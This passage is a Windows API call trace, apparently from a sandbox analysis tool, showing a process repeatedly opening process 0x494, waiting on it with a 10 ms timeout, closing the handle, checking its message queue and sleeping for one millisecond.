[0124.763] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.763] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.778] CloseHandle (hObject=0x190) returned 1 [0124.778] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.778] Sleep (dwMilliseconds=0x1) [0124.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.794] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.810] CloseHandle (hObject=0x190) returned 1 [0124.810] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.810] Sleep (dwMilliseconds=0x1) [0124.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.825] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.841] CloseHandle (hObject=0x190) returned 1 [0124.841] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.841] Sleep (dwMilliseconds=0x1) [0124.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.856] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.872] CloseHandle (hObject=0x190) returned 1 [0124.872] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.872] Sleep (dwMilliseconds=0x1) [0124.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.888] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.903] CloseHandle (hObject=0x190) returned 1 [0124.903] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.903] Sleep (dwMilliseconds=0x1) [0124.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.919] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.935] CloseHandle (hObject=0x190) returned 1 [0124.935] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.935] Sleep (dwMilliseconds=0x1) [0124.952] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.952] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.965] CloseHandle (hObject=0x190) returned 1 [0124.965] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.965] Sleep (dwMilliseconds=0x1) [0124.986] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.986] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.997] CloseHandle (hObject=0x190) returned 1 [0124.997] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.997] Sleep (dwMilliseconds=0x1) [0125.013] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.013] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.047] CloseHandle (hObject=0x190) returned 1 [0125.047] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.047] Sleep (dwMilliseconds=0x1) [0125.059] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.059] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.076] CloseHandle (hObject=0x190) returned 1 [0125.076] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.076] Sleep (dwMilliseconds=0x1) [0125.091] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.091] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.117] CloseHandle (hObject=0x190) returned 1 [0125.117] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.117] Sleep (dwMilliseconds=0x1) [0125.122] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.122] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.137] CloseHandle (hObject=0x190) returned 1 [0125.137] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.137] Sleep (dwMilliseconds=0x1) [0125.164] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.164] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.170] CloseHandle (hObject=0x190) returned 1 [0125.170] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.170] Sleep (dwMilliseconds=0x1) [0125.185] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.185] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.200] CloseHandle (hObject=0x190) returned 1 [0125.200] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.200] Sleep (dwMilliseconds=0x1) [0125.215] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.215] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.232] CloseHandle (hObject=0x190) returned 1 [0125.232] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.232] Sleep (dwMilliseconds=0x1) [0125.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.263] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.274] CloseHandle (hObject=0x190) returned 1 [0125.274] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.274] Sleep (dwMilliseconds=0x1) [0125.278] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.278] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.294] CloseHandle (hObject=0x190) returned 1 [0125.294] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.294] Sleep (dwMilliseconds=0x1) [0125.309] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.309] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.324] CloseHandle (hObject=0x190) returned 1 [0125.324] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.324] Sleep (dwMilliseconds=0x1) [0125.353] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.353] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.356] CloseHandle (hObject=0x190) returned 1 [0125.356] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.356] Sleep (dwMilliseconds=0x1) [0125.371] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.371] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.392] CloseHandle (hObject=0x190) returned 1 [0125.392] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.392] Sleep (dwMilliseconds=0x1) [0125.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.402] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.418] CloseHandle (hObject=0x190) returned 1 [0125.418] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.418] Sleep (dwMilliseconds=0x1) [0125.434] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.434] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.449] CloseHandle (hObject=0x190) returned 1 [0125.449] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.449] Sleep (dwMilliseconds=0x1) [0125.467] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.467] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.482] CloseHandle (hObject=0x190) returned 1 [0125.482] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.482] Sleep (dwMilliseconds=0x1) [0125.497] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.497] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.511] CloseHandle (hObject=0x190) returned 1 [0125.511] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.511] Sleep (dwMilliseconds=0x1) [0125.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.528] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.543] CloseHandle (hObject=0x190) returned 1 [0125.543] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.543] Sleep (dwMilliseconds=0x1) [0125.559] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.559] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.579] CloseHandle (hObject=0x190) returned 1 [0125.579] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.579] Sleep (dwMilliseconds=0x1) [0125.620] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.620] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.623] CloseHandle (hObject=0x190) returned 1 [0125.623] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.623] Sleep (dwMilliseconds=0x1) [0125.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.637] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.652] CloseHandle (hObject=0x190) returned 1 [0125.652] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.652] Sleep (dwMilliseconds=0x1) [0125.668] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.668] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.684] CloseHandle (hObject=0x190) returned 1 [0125.684] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.684] Sleep (dwMilliseconds=0x1) [0125.699] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.699] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.714] CloseHandle (hObject=0x190) returned 1 [0125.714] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.714] Sleep (dwMilliseconds=0x1) [0125.733] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.733] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.745] CloseHandle (hObject=0x190) returned 1 [0125.745] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.746] Sleep (dwMilliseconds=0x1) [0125.761] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.761] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.776] CloseHandle (hObject=0x190) returned 1 [0125.777] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.777] Sleep (dwMilliseconds=0x1) [0125.792] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.792] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.808] CloseHandle (hObject=0x190) returned 1 [0125.808] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.808] Sleep (dwMilliseconds=0x1) [0125.824] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.824] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.839] CloseHandle (hObject=0x190) returned 1 [0125.839] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.839] Sleep (dwMilliseconds=0x1) [0125.866] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.866] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.870] CloseHandle (hObject=0x190) returned 1 [0125.870] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.870] Sleep (dwMilliseconds=0x1) [0125.886] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.886] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.901] CloseHandle (hObject=0x190) returned 1 [0125.901] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.901] Sleep (dwMilliseconds=0x1) [0125.917] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.917] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.932] CloseHandle (hObject=0x190) returned 1 [0125.932] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.933] Sleep (dwMilliseconds=0x1) [0125.956] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.956] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.964] CloseHandle (hObject=0x190) returned 1 [0125.964] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.964] Sleep (dwMilliseconds=0x1) [0125.984] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0125.984] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0125.995] CloseHandle (hObject=0x190) returned 1 [0125.995] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0125.995] Sleep (dwMilliseconds=0x1) [0126.011] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.011] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.026] CloseHandle (hObject=0x190) returned 1 [0126.026] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.026] Sleep (dwMilliseconds=0x1) [0126.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.045] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.057] CloseHandle (hObject=0x190) returned 1 [0126.057] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.057] Sleep (dwMilliseconds=0x1) [0126.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.076] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.090] CloseHandle (hObject=0x190) returned 1 [0126.090] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.090] Sleep (dwMilliseconds=0x1) [0126.107] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.107] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.120] CloseHandle (hObject=0x190) returned 1 [0126.120] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.120] Sleep (dwMilliseconds=0x1) [0126.136] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.136] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.151] CloseHandle (hObject=0x190) returned 1 [0126.151] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.151] Sleep (dwMilliseconds=0x1) [0126.180] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.180] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.182] CloseHandle (hObject=0x190) returned 1 [0126.182] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.182] Sleep (dwMilliseconds=0x1) [0126.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.200] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.213] CloseHandle (hObject=0x190) returned 1 [0126.213] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.214] Sleep (dwMilliseconds=0x1) [0126.229] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.229] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.244] CloseHandle (hObject=0x190) returned 1 [0126.244] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.245] Sleep (dwMilliseconds=0x1) [0126.261] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.261] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.286] CloseHandle (hObject=0x190) returned 1 [0126.286] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.286] Sleep (dwMilliseconds=0x1) [0126.292] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.292] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.313] CloseHandle (hObject=0x190) returned 1 [0126.313] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.313] Sleep (dwMilliseconds=0x1) [0126.323] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.323] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.338] CloseHandle (hObject=0x190) returned 1 [0126.338] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.338] Sleep (dwMilliseconds=0x1) [0126.354] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.354] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.370] CloseHandle (hObject=0x190) returned 1 [0126.370] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.370] Sleep (dwMilliseconds=0x1) [0126.385] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.385] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.411] CloseHandle (hObject=0x190) returned 1 [0126.411] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.411] Sleep (dwMilliseconds=0x1) [0126.416] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.416] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.432] CloseHandle (hObject=0x190) returned 1 [0126.432] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.432] Sleep (dwMilliseconds=0x1) [0126.448] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.448] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.463] CloseHandle (hObject=0x190) returned 1 [0126.463] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.463] Sleep (dwMilliseconds=0x1) [0126.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.482] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.498] CloseHandle (hObject=0x190) returned 1 [0126.498] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.498] Sleep (dwMilliseconds=0x1) [0126.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.514] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.525] CloseHandle (hObject=0x190) returned 1 [0126.525] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.525] Sleep (dwMilliseconds=0x1) [0126.541] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.541] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.557] CloseHandle (hObject=0x190) returned 1 [0126.557] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.557] Sleep (dwMilliseconds=0x1) [0126.572] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.573] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.588] CloseHandle (hObject=0x190) returned 1 [0126.588] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.588] Sleep (dwMilliseconds=0x1) [0126.603] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.604] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.619] CloseHandle (hObject=0x190) returned 1 [0126.619] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.619] Sleep (dwMilliseconds=0x1) [0126.635] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.635] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.650] CloseHandle (hObject=0x190) returned 1 [0126.650] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, 